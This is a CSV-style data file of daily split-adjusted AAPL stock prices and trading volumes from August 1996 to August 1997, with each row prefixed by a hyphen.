-1996-08-22,0.8214285969734192,0.8303571343421936,0.8169642686843872,0.8303571343421936,0.7224945425987244,21921200.0,AAPL
-1996-08-23,0.8214285969734192,0.8571428656578064,0.8214285969734192,0.8526785969734192,0.7419164180755615,50864800.0,AAPL
-1996-08-26,0.8526785969734192,0.8616071343421936,0.8392857313156128,0.8616071343421936,0.7496851682662964,22419600.0,AAPL
-1996-08-27,0.8616071343421936,0.8928571343421936,0.8571428656578064,0.8878348469734192,0.7725059986114502,72326800.0,AAPL
-1996-08-28,0.8883928656578064,0.8928571343421936,0.875,0.8883928656578064,0.7729914784431458,40899600.0,AAPL
-1996-08-29,0.8883928656578064,0.8883928656578064,0.8705357313156128,0.875,0.7613382935523987,26731600.0,AAPL
-1996-08-30,0.8839285969734192,0.8839285969734192,0.8660714030265808,0.8660714030265808,0.7535696029663086,26432000.0,AAPL
-1996-09-03,0.8616071343421936,0.8705357313156128,0.8526785969734192,0.8616071343421936,0.7496851682662964,17074400.0,AAPL
-1996-09-04,0.8526785969734192,0.8794642686843872,0.8526785969734192,0.8616071343421936,0.7496851682662964,25362400.0,AAPL
-1996-09-05,0.8392857313156128,0.8482142686843872,0.8169642686843872,0.8169642686843872,0.7108415365219116,69896400.0,AAPL
-1996-09-06,0.8258928656578064,0.8303571343421936,0.8080357313156128,0.8214285969734192,0.7147256135940552,60208400.0,AAPL
-1996-09-09,0.8080357313156128,0.8125,0.78125,0.7857142686843872,0.6836507320404053,37060800.0,AAPL
-1996-09-10,0.7901785969734192,0.7901785969734192,0.7678571343421936,0.7678571343421936,0.6681132912635803,38928400.0,AAPL
-1996-09-11,0.7678571343421936,0.7767857313156128,0.75,0.7544642686843872,0.656460165977478,36800400.0,AAPL
-1996-09-12,0.75,0.7544642686843872,0.7232142686843872,0.7276785969734192,0.6331538558006287,65228800.0,AAPL
-1996-09-13,0.7276785969734192,0.7589285969734192,0.7276785969734192,0.75,0.652575671672821,41652800.0,AAPL
-1996-09-16,0.7678571343421936,0.8214285969734192,0.7633928656578064,0.7991071343421936,0.6953038573265076,61163200.0,AAPL
-1996-09-17,0.8169642686843872,0.8258928656578064,0.8035714030265808,0.8214285969734192,0.7147256135940552,52292800.0,AAPL
-1996-09-18,0.8214285969734192,0.8616071343421936,0.8169642686843872,0.8392857313156128,0.7302632927894592,88340000.0,AAPL
-1996-09-19,0.84375,0.84375,0.8348214030265808,0.8348214030265808,0.7263789176940918,29867600.0,AAPL
-1996-09-20,0.8348214030265808,0.8392857313156128,0.8125,0.8169642686843872,0.7108415365219116,37287600.0,AAPL
-1996-09-23,0.8169642686843872,0.8169642686843872,0.7991071343421936,0.7991071343421936,0.6953038573265076,11440800.0,AAPL
-1996-09-24,0.7991071343421936,0.8169642686843872,0.7991071343421936,0.8035714030265808,0.6991884112358093,35946400.0,AAPL
-1996-09-25,0.8035714030265808,0.8080357313156128,0.7857142686843872,0.7991071343421936,0.6953038573265076,27260800.0,AAPL
-1996-09-26,0.7991071343421936,0.8035714030265808,0.7946428656578064,0.7991071343421936,0.6953038573265076,25821600.0,AAPL
-1996-09-27,0.7946428656578064,0.7991071343421936,0.7901785969734192,0.796875,0.6933616995811462,20392400.0,AAPL
-1996-09-30,0.7901785969734192,0.7991071343421936,0.7901785969734192,0.7924107313156128,0.6894772052764893,21361200.0,AAPL
-1996-10-01,0.7857142686843872,0.8839285969734192,0.7857142686843872,0.8794642686843872,0.7652228474617004,134811600.0,AAPL
-1996-10-02,0.84375,0.8794642686843872,0.8258928656578064,0.84375,0.7341476678848267,69204800.0,AAPL
-1996-10-03,0.84375,0.8482142686843872,0.7991071343421936,0.7991071343421936,0.6953038573265076,56929600.0,AAPL
-1996-10-04,0.8169642686843872,0.8258928656578064,0.7901785969734192,0.8147321343421936,0.708899199962616,33364800.0,AAPL
-1996-10-07,0.8214285969734192,0.8348214030265808,0.8169642686843872,0.8258928656578064,0.7186100482940674,23928800.0,AAPL
-1996-10-08,0.8392857313156128,0.8660714030265808,0.8303571343421936,0.8303571343421936,0.7224945425987244,47608400.0,AAPL
-1996-10-09,0.8348214030265808,0.84375,0.8169642686843872,0.8214285969734192,0.7147256135940552,21302400.0,AAPL
-1996-10-10,0.8526785969734192,0.875,0.8482142686843872,0.8638392686843872,0.7516274452209473,69174000.0,AAPL
-1996-10-11,0.8705357313156128,0.8794642686843872,0.8571428656578064,0.8660714030265808,0.7535696029663086,30172800.0,AAPL
-1996-10-14,0.875,0.90625,0.8660714030265808,0.9017857313156128,0.784644603729248,67421200.0,AAPL
-1996-10-15,0.9196428656578064,0.9241071343421936,0.8928571343421936,0.9017857313156128,0.784644603729248,90764800.0,AAPL
-1996-10-16,0.9017857313156128,0.9330357313156128,0.8794642686843872,0.9196428656578064,0.8001821637153625,83686400.0,AAPL
-1996-10-17,0.9821428656578064,0.9910714030265808,0.9419642686843872,0.9419642686843872,0.8196040391921997,256656400.0,AAPL
-1996-10-18,0.9464285969734192,0.9508928656578064,0.9285714030265808,0.9486607313156128,0.8254305124282837,95664800.0,AAPL
-1996-10-21,0.9464285969734192,0.9508928656578064,0.9107142686843872,0.9151785969734192,0.7962977290153503,46902800.0,AAPL
-1996-10-22,0.9151785969734192,0.9151785969734192,0.8660714030265808,0.8883928656578064,0.7729914784431458,53429600.0,AAPL
-1996-10-23,0.8839285969734192,0.9017857313156128,0.8705357313156128,0.8839285969734192,0.7691071629524231,40014800.0,AAPL
-1996-10-24,0.8928571343421936,0.8928571343421936,0.875,0.8839285969734192,0.7691071629524231,21092400.0,AAPL
-1996-10-25,0.8883928656578064,0.8928571343421936,0.875,0.875,0.7613382935523987,19390000.0,AAPL
-1996-10-28,0.8973214030265808,0.8973214030265808,0.875,0.875,0.7613382935523987,29999200.0,AAPL
-1996-10-29,0.8794642686843872,0.8839285969734192,0.8258928656578064,0.8303571343421936,0.7224945425987244,49907200.0,AAPL
-1996-10-30,0.8392857313156128,0.8571428656578064,0.8169642686843872,0.8169642686843872,0.7108415365219116,64262800.0,AAPL
-1996-10-31,0.8303571343421936,0.8348214030265808,0.7946428656578064,0.8214285969734192,0.7147256135940552,48554800.0,AAPL
-1996-11-01,0.8348214030265808,0.8660714030265808,0.8258928656578064,0.8660714030265808,0.7535696029663086,52833200.0,AAPL
-1996-11-04,0.8705357313156128,0.875,0.8482142686843872,0.8705357313156128,0.7574540972709656,22817200.0,AAPL
-1996-11-05,0.875,0.9241071343421936,0.875,0.9107142686843872,0.7924133539199829,94528000.0,AAPL
-1996-11-06,0.9151785969734192,0.9196428656578064,0.8883928656578064,0.9107142686843872,0.7924133539199829,45077200.0,AAPL
-1996-11-07,0.90625,0.9285714030265808,0.9017857313156128,0.9241071343421936,0.8040664792060852,38768800.0,AAPL
-1996-11-08,0.9241071343421936,0.9375,0.9196428656578064,0.9375,0.815719723701477,47177200.0,AAPL
-1996-11-11,0.9419642686843872,0.9419642686843872,0.9241071343421936,0.9285714030265808,0.8079507946968079,23133600.0,AAPL
-1996-11-12,0.9330357313156128,0.9375,0.8973214030265808,0.9017857313156128,0.784644603729248,35739200.0,AAPL
-1996-11-13,0.90625,0.9241071343421936,0.8928571343421936,0.9129464030265808,0.7943555116653442,20902000.0,AAPL
-1996-11-14,0.9107142686843872,0.9196428656578064,0.90625,0.9151785969734192,0.7962977290153503,12132400.0,AAPL
-1996-11-15,0.9241071343421936,0.9285714030265808,0.8928571343421936,0.8928571343421936,0.7768757343292236,32678800.0,AAPL
-1996-11-18,0.8928571343421936,0.8973214030265808,0.875,0.8839285969734192,0.7691071629524231,38208800.0,AAPL
-1996-11-19,0.8883928656578064,0.8973214030265808,0.8794642686843872,0.8883928656578064,0.7729914784431458,31108000.0,AAPL
-1996-11-20,0.8883928656578064,0.90625,0.8883928656578064,0.8928571343421936,0.7768757343292236,25774000.0,AAPL
-1996-11-21,0.8883928656578064,0.8928571343421936,0.8705357313156128,0.875,0.7613382935523987,17651200.0,AAPL
-1996-11-22,0.875,0.9017857313156128,0.875,0.9017857313156128,0.784644603729248,25995200.0,AAPL
-1996-11-25,0.90625,0.9107142686843872,0.8928571343421936,0.8928571343421936,0.7768757343292236,19737200.0,AAPL
-1996-11-26,0.8883928656578064,0.8928571343421936,0.8571428656578064,0.8660714030265808,0.7535696029663086,28246400.0,AAPL
-1996-11-27,0.8616071343421936,0.8794642686843872,0.8616071343421936,0.875,0.7613382935523987,22260000.0,AAPL
-1996-11-29,0.875,0.8794642686843872,0.8571428656578064,0.8616071343421936,0.7496851682662964,10572800.0,AAPL
-1996-12-02,0.8616071343421936,0.8973214030265808,0.8526785969734192,0.8973214030265808,0.7807601690292358,43744400.0,AAPL
-1996-12-03,0.9017857313156128,0.9107142686843872,0.8928571343421936,0.8973214030265808,0.7807601690292358,68882800.0,AAPL
-1996-12-04,0.8973214030265808,0.90625,0.8883928656578064,0.8928571343421936,0.7768757343292236,47706400.0,AAPL
-1996-12-05,0.8928571343421936,0.9017857313156128,0.8928571343421936,0.8928571343421936,0.7768757343292236,35534800.0,AAPL
-1996-12-06,0.8705357313156128,0.90625,0.8571428656578064,0.8973214030265808,0.7807601690292358,57346800.0,AAPL
-1996-12-09,0.9017857313156128,0.90625,0.8861607313156128,0.8928571343421936,0.7768757343292236,39662000.0,AAPL
-1996-12-10,0.8883928656578064,0.8928571343421936,0.8660714030265808,0.875,0.7613382935523987,46071200.0,AAPL
-1996-12-11,0.8482142686843872,0.8660714030265808,0.8482142686843872,0.8571428656578064,0.7458008527755737,40840800.0,AAPL
-1996-12-12,0.8616071343421936,0.8660714030265808,0.8526785969734192,0.8526785969734192,0.7419164180755615,21750400.0,AAPL
-1996-12-13,0.8482142686843872,0.8526785969734192,0.8303571343421936,0.8303571343421936,0.7224945425987244,22274000.0,AAPL
-1996-12-16,0.8392857313156128,0.8392857313156128,0.8035714030265808,0.8080357313156128,0.703072726726532,37310000.0,AAPL
-1996-12-17,0.7991071343421936,0.8035714030265808,0.7946428656578064,0.8035714030265808,0.6991884112358093,39312000.0,AAPL
-1996-12-18,0.8125,0.8258928656578064,0.8080357313156128,0.8258928656578064,0.7186100482940674,51268000.0,AAPL
-1996-12-19,0.8214285969734192,0.8303571343421936,0.7946428656578064,0.7946428656578064,0.6914195418357849,34221600.0,AAPL
-1996-12-20,0.8035714030265808,0.84375,0.7633928656578064,0.8392857313156128,0.7302632927894592,136609200.0,AAPL
-1996-12-23,0.8571428656578064,0.8660714030265808,0.8303571343421936,0.8303571343421936,0.7224945425987244,83076000.0,AAPL
-1996-12-24,0.8303571343421936,0.8348214030265808,0.8169642686843872,0.8258928656578064,0.7186100482940674,14403200.0,AAPL
-1996-12-26,0.8303571343421936,0.8303571343421936,0.8169642686843872,0.8214285969734192,0.7147256135940552,21221200.0,AAPL
-1996-12-27,0.8169642686843872,0.8482142686843872,0.8169642686843872,0.8258928656578064,0.7186100482940674,34249600.0,AAPL
-1996-12-30,0.8258928656578064,0.8303571343421936,0.7767857313156128,0.7767857313156128,0.6758819818496704,65450000.0,AAPL
-1996-12-31,0.7633928656578064,0.7678571343421936,0.7410714030265808,0.7455357313156128,0.6486913561820984,95936400.0,AAPL
-1997-01-02,0.7544642686843872,0.7589285969734192,0.7410714030265808,0.75,0.652575671672821,35778400.0,AAPL
-1997-01-03,0.7544642686843872,0.7946428656578064,0.75,0.7767857313156128,0.6758819818496704,29929200.0,AAPL
-1997-01-06,0.6294642686843872,0.6551339030265808,0.6160714030265808,0.6383928656578064,0.5554664134979248,470708000.0,AAPL
-1997-01-07,0.6473214030265808,0.6517857313156128,0.625,0.625,0.5438131093978882,244232800.0,AAPL
-1997-01-08,0.6517857313156128,0.65625,0.6205357313156128,0.6294642686843872,0.5476974844932556,275032800.0,AAPL
-1997-01-09,0.6339285969734192,0.6383928656578064,0.625,0.6339285969734192,0.5515819191932678,111664000.0,AAPL
-1997-01-10,0.6294642686843872,0.6517857313156128,0.6294642686843872,0.6517857313156128,0.5671194195747375,88429600.0,AAPL
-1997-01-13,0.6607142686843872,0.6607142686843872,0.6473214030265808,0.6473214030265808,0.5632350444793701,76437200.0,AAPL
-1997-01-14,0.65625,0.65625,0.6339285969734192,0.6383928656578064,0.5554664134979248,63943600.0,AAPL
-1997-01-15,0.6428571343421936,0.6428571343421936,0.6116071343421936,0.6160714030265808,0.5360442996025085,108273200.0,AAPL
-1997-01-16,0.6116071343421936,0.6116071343421936,0.59375,0.5982142686843872,0.5205066800117493,167826400.0,AAPL
-1997-01-17,0.5982142686843872,0.6116071343421936,0.59375,0.5982142686843872,0.5205066800117493,81286800.0,AAPL
-1997-01-20,0.6026785969734192,0.6116071343421936,0.5982142686843872,0.6049107313156128,0.5263333916664124,72906400.0,AAPL
-1997-01-21,0.6071428656578064,0.6160714030265808,0.6026785969734192,0.6160714030265808,0.5360442996025085,71206800.0,AAPL
-1997-01-22,0.6205357313156128,0.625,0.6071428656578064,0.6138392686843872,0.5341020822525024,51405200.0,AAPL
-1997-01-23,0.6160714030265808,0.6205357313156128,0.6116071343421936,0.6160714030265808,0.5360442996025085,43086400.0,AAPL
-1997-01-24,0.6160714030265808,0.6160714030265808,0.6026785969734192,0.6026785969734192,0.5243910551071167,47070800.0,AAPL
-1997-01-27,0.6116071343421936,0.6160714030265808,0.59375,0.59375,0.5166224837303162,53510800.0,AAPL
-1997-01-28,0.6071428656578064,0.6071428656578064,0.5892857313156128,0.59375,0.5166224837303162,52640000.0,AAPL
-1997-01-29,0.59375,0.5982142686843872,0.5892857313156128,0.59375,0.5166224837303162,37926000.0,AAPL
-1997-01-30,0.5982142686843872,0.5982142686843872,0.5892857313156128,0.5982142686843872,0.5205066800117493,34983200.0,AAPL
-1997-01-31,0.59375,0.59375,0.5892857313156128,0.59375,0.5166224837303162,49907200.0,AAPL
-1997-02-03,0.6026785969734192,0.6071428656578064,0.5803571343421936,0.5825892686843872,0.50691157579422,92027600.0,AAPL
-1997-02-04,0.5803571343421936,0.5848214030265808,0.5401785969734192,0.5491071343421936,0.47777873277664185,178161200.0,AAPL
-1997-02-05,0.5446428656578064,0.5580357313156128,0.5446428656578064,0.5446428656578064,0.473894327878952,98621600.0,AAPL
-1997-02-06,0.5446428656578064,0.5758928656578064,0.5446428656578064,0.5714285969734192,0.49720048904418945,99876000.0,AAPL
-1997-02-07,0.5892857313156128,0.5892857313156128,0.5625,0.5647321343421936,0.49137386679649353,58816800.0,AAPL
-1997-02-10,0.5758928656578064,0.5758928656578064,0.5580357313156128,0.5580357313156128,0.48554739356040955,46351200.0,AAPL
-1997-02-11,0.5669642686843872,0.5714285969734192,0.5535714030265808,0.5602678656578064,0.48748964071273804,35019600.0,AAPL
-1997-02-12,0.5625,0.5669642686843872,0.5535714030265808,0.5625,0.48943185806274414,44066400.0,AAPL
-1997-02-13,0.5625,0.5758928656578064,0.5535714030265808,0.5758928656578064,0.5010849833488464,48958000.0,AAPL
-1997-02-14,0.5803571343421936,0.5848214030265808,0.5714285969734192,0.5825892686843872,0.50691157579422,59312400.0,AAPL
-1997-02-18,0.59375,0.6383928656578064,0.5803571343421936,0.6383928656578064,0.5554664134979248,92069600.0,AAPL
-1997-02-19,0.6383928656578064,0.6383928656578064,0.6116071343421936,0.6294642686843872,0.5476974844932556,60323200.0,AAPL
-1997-02-20,0.6294642686843872,0.6294642686843872,0.6071428656578064,0.6071428656578064,0.5282755494117737,31236800.0,AAPL
-1997-02-21,0.6026785969734192,0.6071428656578064,0.5714285969734192,0.5848214030265808,0.5088536143302917,52771600.0,AAPL
-1997-02-24,0.5803571343421936,0.6026785969734192,0.5803571343421936,0.59375,0.5166224837303162,29397200.0,AAPL
-1997-02-25,0.6071428656578064,0.6205357313156128,0.6026785969734192,0.6026785969734192,0.5243910551071167,34521200.0,AAPL
-1997-02-26,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6116071343421936,0.5321599841117859,25793600.0,AAPL
-1997-02-27,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6071428656578064,0.5282755494117737,25748800.0,AAPL
-1997-02-28,0.6026785969734192,0.6026785969734192,0.5803571343421936,0.5803571343421936,0.5049692988395691,30469600.0,AAPL
-1997-03-03,0.5892857313156128,0.5892857313156128,0.5714285969734192,0.5758928656578064,0.5010849833488464,32614400.0,AAPL
-1997-03-04,0.5803571343421936,0.5892857313156128,0.5714285969734192,0.5892857313156128,0.5127379298210144,25799200.0,AAPL
-1997-03-05,0.59375,0.6071428656578064,0.5892857313156128,0.6071428656578064,0.5282755494117737,24040800.0,AAPL
-1997-03-06,0.6071428656578064,0.6071428656578064,0.5892857313156128,0.59375,0.5166224837303162,29072400.0,AAPL
-1997-03-07,0.5982142686843872,0.5982142686843872,0.5848214030265808,0.5892857313156128,0.5127379298210144,17654000.0,AAPL
-1997-03-10,0.59375,0.5982142686843872,0.5870535969734192,0.59375,0.5166224837303162,24796800.0,AAPL
-1997-03-11,0.59375,0.59375,0.5714285969734192,0.5848214030265808,0.5088536143302917,24626000.0,AAPL
-1997-03-12,0.5803571343421936,0.5982142686843872,0.5758928656578064,0.5803571343421936,0.5049692988395691,17749200.0,AAPL
-1997-03-13,0.5848214030265808,0.5848214030265808,0.5758928656578064,0.5848214030265808,0.5088536143302917,26272400.0,AAPL
-1997-03-14,0.5848214030265808,0.5982142686843872,0.5803571343421936,0.5915178656578064,0.5146803855895996,57604400.0,AAPL
-1997-03-17,0.5803571343421936,0.5892857313156128,0.5714285969734192,0.5892857313156128,0.5127379298210144,48188000.0,AAPL
-1997-03-18,0.5848214030265808,0.5892857313156128,0.5758928656578064,0.5803571343421936,0.5049692988395691,31768800.0,AAPL
-1997-03-19,0.5848214030265808,0.5848214030265808,0.5669642686843872,0.5758928656578064,0.5010849833488464,52057600.0,AAPL
-1997-03-20,0.5714285969734192,0.625,0.5669642686843872,0.6160714030265808,0.5360442996025085,79259600.0,AAPL
-1997-03-21,0.625,0.625,0.5848214030265808,0.59375,0.5166224837303162,34115200.0,AAPL
-1997-03-24,0.5892857313156128,0.59375,0.5803571343421936,0.5892857313156128,0.5127379298210144,17805200.0,AAPL
-1997-03-25,0.59375,0.59375,0.57421875,0.5892857313156128,0.5127379298210144,28140000.0,AAPL
-1997-03-26,0.5848214030265808,0.6026785969734192,0.5803571343421936,0.5982142686843872,0.5205066800117493,26709200.0,AAPL
-1997-03-27,0.625,0.6875,0.6160714030265808,0.6651785969734192,0.5787724256515503,284726400.0,AAPL
-1997-03-31,0.6651785969734192,0.6919642686843872,0.6160714030265808,0.6517857313156128,0.5671194195747375,242561200.0,AAPL
-1997-04-01,0.6294642686843872,0.6361607313156128,0.6205357313156128,0.625,0.5438131093978882,55064800.0,AAPL
-1997-04-02,0.6383928656578064,0.6450892686843872,0.6294642686843872,0.6428571343421936,0.5593505501747131,55608000.0,AAPL
-1997-04-03,0.6607142686843872,0.6830357313156128,0.6517857313156128,0.6741071343421936,0.5865411758422852,137214000.0,AAPL
-1997-04-04,0.6830357313156128,0.7008928656578064,0.6785714030265808,0.6875,0.5981944799423218,118812400.0,AAPL
-1997-04-07,0.7053571343421936,0.7098214030265808,0.6875,0.6964285969734192,0.6059631109237671,63814800.0,AAPL
-1997-04-08,0.7008928656578064,0.7008928656578064,0.6651785969734192,0.6830357313156128,0.5943098664283752,48456800.0,AAPL
-1997-04-09,0.6875,0.6875,0.6741071343421936,0.6785714030265808,0.5904255509376526,61247200.0,AAPL
-1997-04-10,0.6785714030265808,0.6830357313156128,0.6607142686843872,0.6741071343421936,0.5865411758422852,29246000.0,AAPL
-1997-04-11,0.6741071343421936,0.6741071343421936,0.6473214030265808,0.6517857313156128,0.5671194195747375,19891200.0,AAPL
-1997-04-14,0.65625,0.6741071343421936,0.6428571343421936,0.6696428656578064,0.582656979560852,28089600.0,AAPL
-1997-04-15,0.6830357313156128,0.6875,0.6473214030265808,0.6584821343421936,0.572945773601532,34011600.0,AAPL
-1997-04-16,0.6651785969734192,0.6785714030265808,0.65625,0.6629464030265808,0.5768303275108337,21554400.0,AAPL
-1997-04-17,0.6517857313156128,0.6830357313156128,0.6473214030265808,0.6785714030265808,0.5904255509376526,54866000.0,AAPL
-1997-04-18,0.6830357313156128,0.6830357313156128,0.65625,0.65625,0.571003794670105,35361200.0,AAPL
-1997-04-21,0.6651785969734192,0.6651785969734192,0.6428571343421936,0.6428571343421936,0.5593505501747131,22288000.0,AAPL
-1997-04-22,0.6473214030265808,0.6607142686843872,0.6383928656578064,0.6607142686843872,0.5748880505561829,23662800.0,AAPL
-1997-04-23,0.65625,0.6607142686843872,0.6473214030265808,0.6473214030265808,0.5632350444793701,13622000.0,AAPL
-1997-04-24,0.6607142686843872,0.6607142686843872,0.6339285969734192,0.6383928656578064,0.5554664134979248,18734800.0,AAPL
-1997-04-25,0.6294642686843872,0.6383928656578064,0.6205357313156128,0.625,0.5438131093978882,21845600.0,AAPL
-1997-04-28,0.6339285969734192,0.6383928656578064,0.625,0.6294642686843872,0.5476974844932556,11692800.0,AAPL
-1997-04-29,0.6428571343421936,0.6428571343421936,0.625,0.6316964030265808,0.5496396422386169,12938800.0,AAPL
-1997-04-30,0.6071428656578064,0.6160714030265808,0.5982142686843872,0.6071428656578064,0.5282755494117737,64408400.0,AAPL
-1997-05-01,0.6026785969734192,0.6116071343421936,0.5982142686843872,0.6071428656578064,0.5282755494117737,18085200.0,AAPL
-1997-05-02,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6071428656578064,0.5282755494117737,25496800.0,AAPL
-1997-05-05,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6071428656578064,0.5282755494117737,24623200.0,AAPL
-1997-05-06,0.6071428656578064,0.6116071343421936,0.5982142686843872,0.6026785969734192,0.5243910551071167,20787200.0,AAPL
-1997-05-07,0.6026785969734192,0.6071428656578064,0.5848214030265808,0.5892857313156128,0.5127379298210144,28554400.0,AAPL
-1997-05-08,0.59375,0.6116071343421936,0.5892857313156128,0.6071428656578064,0.5282755494117737,20734000.0,AAPL
-1997-05-09,0.6071428656578064,0.625,0.6071428656578064,0.609375,0.5302178263664246,47093200.0,AAPL
-1997-05-12,0.6160714030265808,0.6294642686843872,0.6071428656578064,0.6272321343421936,0.5457553267478943,41244000.0,AAPL
-1997-05-13,0.625,0.6383928656578064,0.6071428656578064,0.6272321343421936,0.5457553267478943,49254800.0,AAPL
-1997-05-14,0.6383928656578064,0.6428571343421936,0.625,0.6316964030265808,0.5496396422386169,33910800.0,AAPL
-1997-05-15,0.6339285969734192,0.6428571343421936,0.625,0.6339285969734192,0.5515819191932678,24752000.0,AAPL
-1997-05-16,0.625,0.6294642686843872,0.6160714030265808,0.6160714030265808,0.5360442996025085,23324000.0,AAPL
-1997-05-19,0.625,0.6294642686843872,0.6071428656578064,0.6071428656578064,0.5282755494117737,13064800.0,AAPL
-1997-05-20,0.6071428656578064,0.6227678656578064,0.5982142686843872,0.6160714030265808,0.5360442996025085,21207200.0,AAPL
-1997-05-21,0.6116071343421936,0.6116071343421936,0.5892857313156128,0.6026785969734192,0.5243910551071167,30562000.0,AAPL
-1997-05-22,0.5982142686843872,0.6026785969734192,0.5892857313156128,0.59375,0.5166224837303162,19191200.0,AAPL
-1997-05-23,0.59375,0.6071428656578064,0.59375,0.6026785969734192,0.5243910551071167,16758000.0,AAPL
-1997-05-27,0.5982142686843872,0.6205357313156128,0.5982142686843872,0.6160714030265808,0.5360442996025085,20521200.0,AAPL
-1997-05-28,0.6205357313156128,0.625,0.6071428656578064,0.6071428656578064,0.5282755494117737,21884800.0,AAPL
-1997-05-29,0.6116071343421936,0.6116071343421936,0.59375,0.59375,0.5166224837303162,27795600.0,AAPL
-1997-05-30,0.5892857313156128,0.6071428656578064,0.5848214030265808,0.59375,0.5166224837303162,44332400.0,AAPL
-1997-06-02,0.6071428656578064,0.6071428656578064,0.5982142686843872,0.6049107313156128,0.5263333916664124,10396400.0,AAPL
-1997-06-03,0.5982142686843872,0.6049107313156128,0.59375,0.5959821343421936,0.5185646414756775,16310000.0,AAPL
-1997-06-04,0.59375,0.5982142686843872,0.5892857313156128,0.59375,0.5166224837303162,20101200.0,AAPL
-1997-06-05,0.59375,0.6116071343421936,0.5915178656578064,0.5959821343421936,0.5185646414756775,16153200.0,AAPL
-1997-06-06,0.59375,0.5982142686843872,0.5892857313156128,0.5982142686843872,0.5205066800117493,13218800.0,AAPL
-1997-06-09,0.5959821343421936,0.6049107313156128,0.59375,0.59375,0.5166224837303162,18701200.0,AAPL
-1997-06-10,0.5982142686843872,0.5982142686843872,0.5736607313156128,0.5803571343421936,0.5049692988395691,34762000.0,AAPL
-1997-06-11,0.5825892686843872,0.5870535969734192,0.5803571343421936,0.5825892686843872,0.50691157579422,26350800.0,AAPL
-1997-06-12,0.5848214030265808,0.5848214030265808,0.5714285969734192,0.5736607313156128,0.49914273619651794,19672800.0,AAPL
-1997-06-13,0.5736607313156128,0.5758928656578064,0.5625,0.5647321343421936,0.49137386679649353,33017600.0,AAPL
-1997-06-16,0.5669642686843872,0.5669642686843872,0.5491071343421936,0.5535714030265808,0.4816631078720093,33502000.0,AAPL
-1997-06-17,0.5558035969734192,0.5892857313156128,0.5535714030265808,0.5837053656578064,0.5078825354576111,35562800.0,AAPL
-1997-06-18,0.5758928656578064,0.5803571343421936,0.5625,0.5691964030265808,0.4952583909034729,27412000.0,AAPL
-1997-06-19,0.5714285969734192,0.5714285969734192,0.5602678656578064,0.5625,0.48943185806274414,30256800.0,AAPL
-1997-06-20,0.5602678656578064,0.5625,0.5535714030265808,0.5558035969734192,0.4836050868034363,27546400.0,AAPL
-1997-06-23,0.5535714030265808,0.5580357313156128,0.5491071343421936,0.5491071343421936,0.47777873277664185,24886400.0,AAPL
-1997-06-24,0.5513392686843872,0.5558035969734192,0.5446428656578064,0.546875,0.47583654522895813,27787200.0,AAPL
-1997-06-25,0.546875,0.5491071343421936,0.5357142686843872,0.5401785969734192,0.47000986337661743,49658000.0,AAPL
-1997-06-26,0.5401785969734192,0.5401785969734192,0.5223214030265808,0.5245535969734192,0.4564145505428314,95496800.0,AAPL
-1997-06-27,0.5245535969734192,0.5290178656578064,0.5223214030265808,0.5245535969734192,0.4564145505428314,39488400.0,AAPL
-1997-06-30,0.5267857313156128,0.5267857313156128,0.5,0.5089285969734192,0.44281941652297974,42795200.0,AAPL
-1997-07-01,0.4977678656578064,0.5,0.46875,0.4709821343421936,0.40980201959609985,112669200.0,AAPL
-1997-07-02,0.4732142984867096,0.4776785671710968,0.4642857015132904,0.4665178656578064,0.40591755509376526,62490400.0,AAPL
-1997-07-03,0.46875,0.4955357015132904,0.4642857015132904,0.4888392984867096,0.4253394901752472,46695600.0,AAPL
-1997-07-07,0.4977678656578064,0.5089285969734192,0.4910714328289032,0.4933035671710968,0.4292238652706146,47868800.0,AAPL
-1997-07-08,0.4955357015132904,0.5,0.4888392984867096,0.4910714328289032,0.4272817373275757,23923200.0,AAPL
-1997-07-09,0.4933035671710968,0.4955357015132904,0.4866071343421936,0.4888392984867096,0.4253394901752472,35504000.0,AAPL
-1997-07-10,0.4598214328289032,0.4776785671710968,0.4553571343421936,0.4732142984867096,0.4117441475391388,123127200.0,AAPL
-1997-07-11,0.4776785671710968,0.5535714030265808,0.4754464328289032,0.5424107313156128,0.47195199131965637,183736000.0,AAPL
-1997-07-14,0.5446428656578064,0.5580357313156128,0.53125,0.5580357313156128,0.48554739356040955,102751600.0,AAPL
-1997-07-15,0.5625,0.5714285969734192,0.5580357313156128,0.5691964030265808,0.4952583909034729,104588400.0,AAPL
-1997-07-16,0.5647321343421936,0.5892857313156128,0.5580357313156128,0.5870535969734192,0.5107959508895874,111563200.0,AAPL
-1997-07-17,0.6071428656578064,0.6473214030265808,0.5870535969734192,0.625,0.5438131093978882,186566800.0,AAPL
-1997-07-18,0.6383928656578064,0.640625,0.609375,0.6194196343421936,0.5389576554298401,79391200.0,AAPL
-1997-07-21,0.6272321343421936,0.6316964030265808,0.5714285969734192,0.5770089030265808,0.5020561814308167,88729200.0,AAPL
-1997-07-22,0.5848214030265808,0.5959821343421936,0.5825892686843872,0.5915178656578064,0.5146803855895996,57834000.0,AAPL
-1997-07-23,0.5982142686843872,0.6026785969734192,0.5714285969734192,0.5758928656578064,0.5010849833488464,35322000.0,AAPL
-1997-07-24,0.5758928656578064,0.5758928656578064,0.5580357313156128,0.5647321343421936,0.49137386679649353,33373200.0,AAPL
-1997-07-25,0.5669642686843872,0.5915178656578064,0.5625,0.5803571343421936,0.5049692988395691,54490800.0,AAPL
-1997-07-28,0.5870535969734192,0.5892857313156128,0.5803571343421936,0.5870535969734192,0.5107959508895874,27627600.0,AAPL
-1997-07-29,0.5870535969734192,0.59375,0.5848214030265808,0.5892857313156128,0.5127379298210144,17810800.0,AAPL
-1997-07-30,0.6049107313156128,0.6316964030265808,0.5982142686843872,0.6205357313156128,0.5399288535118103,93576000.0,AAPL
-1997-07-31,0.6205357313156128,0.6339285969734192,0.6160714030265808,0.625,0.5438131093978882,65954000.0,AAPL
-1997-08-01,0.6294642686843872,0.6852678656578064,0.6272321343421936,0.6852678656578064,0.5962522625923157,120478400.0,AAPL
-1997-08-04,0.6852678656578064,0.7075892686843872,0.6852678656578064,0.7053571343421936,0.613731861114502,152829600.0,AAPL
-1997-08-05,0.7120535969734192,0.7142857313156128,0.6958705186843872,0.7053571343421936,0.613731861114502,61782000.0,AAPL
-1997-08-06,0.9017857313156128,0.9910714030265808,0.8928571343421936,0.9397321343421936,0.8176618218421936,1047620000.0,AAPL
-1997-08-07,1.0267857313156128,1.0558035373687744,1.0133928060531616,1.0424107313156128,0.9070026874542236,938859600.0,AAPL
-1997-08-08,0.9933035969734192,1.0133928060531616,0.9330357313156128,0.9575892686843872,0.8331993222236633,453541200.0,AAPL
